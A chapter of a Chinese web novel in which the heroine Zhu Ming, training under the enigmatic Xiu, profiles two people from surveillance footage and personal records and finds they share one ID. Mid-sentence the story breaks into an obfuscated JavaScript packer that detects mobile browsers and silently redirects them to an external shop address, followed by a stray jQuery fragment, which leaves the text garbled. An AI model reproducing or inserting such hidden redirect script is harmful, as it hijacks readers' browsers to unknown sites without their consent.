地下工事的训练不见天日。
虽然哈洛和修没有阻止过祝暝与外界联系,但祝暝就是有种要被锻炼成秘密武器的感觉。
哈洛近期忙得都见不到人影,听修说他近期接了一个武器大单,由于金额数目巨大,对方要求现金交易,不走实名账户,资金流转起来颇为麻烦,甚至还要通过中介层层洗白,
因此哈洛最近一边忙着制造武器,一边还要亲自处理这笔资金账目,连带着体能训练都交给了修来代劳。
修在说起那些洗钱手段时,可谓是眉飞色舞,每一个环节都讲得头头是道,详细至极,仿佛他才是那个操持着庞大资金流转的幕后主使。
祝暝怀疑修是经济犯罪的惯犯,并且常年活跃在主脑的监管盲区里。
这位恐怕才是真正的法外狂徒。
祝暝如此沉重地想道。
这天,修戴着耳机摇头晃脑,手边还放着一杯冒着热气的未知饮品,看起来心情相当不错。
祝暝瞥了眼他一直搭在膝盖上的左手,食指正颇有节奏地敲击着膝盖,像是在打着什么节奏。
祝暝看不出他在听什么音乐,可出于某种野兽般的直觉,她认为没那么简单。
修说过:“有精神力觉醒预兆的人要相信自己的直觉,这种玄妙的感知,往往代表某种超越常理的预测能力正在被唤醒。”
祝暝最近摸到了点门道,暂时还不知道效果怎么样。
修似乎才看见祝暝路过,朝着她招了招手:“过来。”
祝暝盯着他看了一会儿,搭在空杯子上的指腹紧了紧,最终还是慢吞吞地挪了过去。
修指着桌子上的一块显示屏,上面正反复播放着一段模糊的监控录像,画面上无数的黑影掠过,但都无法辨认,似乎是被干扰信号刻意抹去了面部特征。
修:“说说感想。”
祝暝蹙起了眉头,抬手将监控退回最初的那一帧,逐帧放大、排查。
人虽然被抹去了,但街道却没有发生变化。
这好像是b01号主城区区统府附近,那里最接近人造光源,常年维持着适宜的气温和恒定的亮度,即便是街道的转角,也被清洁机器人打扫得一尘不染,连半颗灰尘都见不到。
只是画面的角落里,在某个时间点出现了一块极为不协调的污渍,与周围洁净的砖块格格不入。
那是什么?
祝暝继续往后翻。
污渍在扩大,呈现出强腐蚀性的特质,正无声地与地面、墙壁发生着化学反应,并释放出了一股烟雾。
……杀人毁尸现场?
祝暝的大脑空白了一瞬,接着很快反应了过来。
不对,经过的人太多了。
祝暝眉头越皱越紧,还是没看出什么,只能先向修表明自己的观点。
修没说正确与否,似笑非笑地看着她,直把祝暝看得头皮发麻。
“观察力不错,”他慢悠悠道,“比我想象中要好上那么一点。”
修又在显示屏上调出两个文件夹,并且将两个文件夹全部点开:“现在,把文件夹里的东西全部看完,看完后告诉我结论。”
祝暝再次接过显示屏,点开第一个文件夹,里面是一些网络浏览记录、社交账号评论、个人资金流水、账单以及几段音频……全是琐碎且勉强有些关联的日常轨迹。
……看起来好像很寻常。
祝暝没有立刻得出结论,而是打开了第二个文件夹。里面的内容和上一个文件夹相似度很高,唯一的区别在于时间更近,信息的指向性也更加清晰明确。
浏览完所有的内容后,祝暝有些不确定道:“……这两个文件对应的好像是两个人?”
修笑道:“我可从来没说过是同一个人。”这句话算是承认他刚刚给祝暝埋了个陷阱。
祝暝稍稍平复了下心情,将文件夹内信息全部调了出来,逐一进行比对。
在地球上时,她有位青梅是学心理学的,大学时期因痴迷于推理小说,中二病大爆发立志成为中国第一名侦探,拉着她去听了一学期的犯罪心理学选修,其中就有行为侧写的相关知识。
课堂上的老师也说过侧写有一定局限性,并非绝对准确,可能会受到环境、情绪等因素影响。
即便如此,祝暝还是愿意为这堂课上花费一些精力,算是回应青梅的疯狂安利。
一想到远在地球的亲友,祝暝又觉得有些惆怅。
她稍稍整理了下心情,在脑中将那些零碎的信息重新拼凑,逐渐勾勒出两个人的形象。
祝暝:“第一个人,Beta男性,前线退役军官,年纪大约在80-100岁,酗酒,性格孤僻多疑,有战场PTSD,独居……不对,应该有个年幼的孩子,操持着一家修理铺,有抚恤金和维修收入,生活规律且压抑。”
购物记录里不包含抑制剂,说明生理状态稳定,无需压制易感期或者发情期,而精神长期处于高度紧绷状态,则会购入大量镇静类药物以维持理智。
这个人的生活轨迹也呈现出一定的规律性,符合军队养成的刻板作息,且消费记录中频繁出现烈性酒与廉价烟草,可见精神状态堪忧,验证了PTSD推断的合理性。
至于为什么年龄会是在80-100岁之间,这也十分简单——
联邦兵役制下,一经入伍需服役四十个星轨年,就算是三十岁入伍,服役期满后至少已是七十岁。算上前线作战的高损耗率,那么因精神疾病八十岁退役就是一个比较合理的下限。
只有“有个年幼的孩子”这一条比较隐晦。
这个人似乎在极力隐藏孩子的存在,所有关于孩子的消费记录都被刻意拆分,并伪装成日常杂物采购,难道是害怕孩子引来不必要的审查?
祝暝觉得这一行为有些反常,但她不打算向修说明这一点,毕竟有所缺憾的侧写才更符合她的现状。
修的目光闪烁了下,点了点头,示意祝暝继续说下去。
祝暝的视线转到第二个文件上,语气却迟疑了许多:“……第二个人,Alpha男性,35-45岁,身材高大,有伪装痕迹,擅长机械制造、武器改装,行事谨慎且反侦察意识极强,推测为现役军官,且近期有收养计划。”
这个文件夹里的信息延续了第一个文件夹的风格,细微之处却略有不同。
比如镇静类药剂的用量减少,取而代之的是分批混在日用品中的抑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965992|214520||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
制剂原料,且周期相对较为漫长,初步判断此人还存在一到两个一起生活的共犯。
机械材料的购入也兼具专业和隐蔽两种特性。
比起第一个文件夹里常见的、单一的民用部件,第二个文件夹里的采购更具目的性,大部分是多用途的改装部件,乍一看前者与后者没什么区别,但实际用途可就广泛得多——
反而更加证明这个人具备一定的专业素养与反侦察能力,极有可能是一位年轻的现役军官,正在执行某项长期的潜伏任务。
话说回来,这侧写怎么透着一股莫名的熟悉感?
祝暝重新翻看了下两人的身份芯片ID号,确认是同一个ID。
什么情况……冒名顶替?怎么做到的?
祝暝猛地抬头看向了修。
修露出了颇具神秘感的微笑,循循善诱:“暝暝想知道理由吗?”
祝暝斩钉截铁道:“不想。”
修的微笑顿时凝固在了脸上,看上去就像是艺术馆里的蜡像,既诡异又奇怪。
祝暝硬着头皮虚心求教,委婉道:“我还是对……手法比较感兴趣。”
修僵硬的表情似乎扭曲了一瞬。
祝暝小心翼翼地觑了他一眼,欲言又止,止言又欲,心想难道是自己的要求太过分了?这人看着也不像是什么遵纪守法的好公民啊……
“我说啊——”
几十个星轨秒后,修收拾好了崩坏的表情,那副明明怒发冲冠还硬要装出温和的样子,让祝暝看得心底发虚。
“你的小脑袋里整天都在想什么?”
修冷笑一声:“年纪轻轻的,思想倒是挺危险。”
祝暝眨了眨眼睛,试图装傻,蒙混过关。
修戳了戳祝暝的眉心,扬起下巴,故作凶狠道:“……赶紧回去训练,敢偷懒小心我回头找你算账。”
祝暝如蒙大赦,放下显示屏,转身跑得比兔子还快。
等到祝暝离开后,修瞬间就收敛了所有的表情,打开光脑重新调出了祝暝的档案,盯着在那条“从小被异兽抚育长大”看了许久。
还没等修想出个所以然来,嘀嘀的提示音骤然响起,打破了室内的沉寂。
修瞥了眼光脑,居然是哈洛的消息。
哈洛:【武器的需求方已经有眉目了,我在地下钱庄找中介的时候,刚好在中介的名单上瞥见了这个虚拟代号,但中介很警惕,很快就把页面清空了。】
修露出了讶异的神情,指尖在键盘上飞快掠过,回复道:【这也太巧了……你确定中介不是故意的?】
哈洛:【我怀疑过,但中介的生理体征反馈出的信息并不是撒谎,而是惊恐、紧张和戒备。】
高等级的Alpha是天生的测谎仪,能够精准地捕捉到细微的肌肉颤动和生理变化,这种为战斗而生的洞察力,用在审讯和博弈上同样无往不利。
修也具备这样的能力,只是由于他在精神力上的特殊造诣,他更倾向于通过精神力来验证信息的准确性。
修斟酌了一下措辞,回复道:【既然这样,那就先在中介这里留个窃听器,使用虚拟代号的人一定会再次出现,就是不知道这个人到底是藤还是瓜了。】